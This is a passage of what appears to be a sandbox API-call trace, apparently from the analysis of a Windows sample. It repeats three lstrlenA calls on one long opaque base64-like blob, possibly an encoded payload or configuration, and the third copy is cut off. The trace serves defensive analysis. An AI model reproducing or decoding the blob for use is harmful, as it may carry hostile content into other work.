(lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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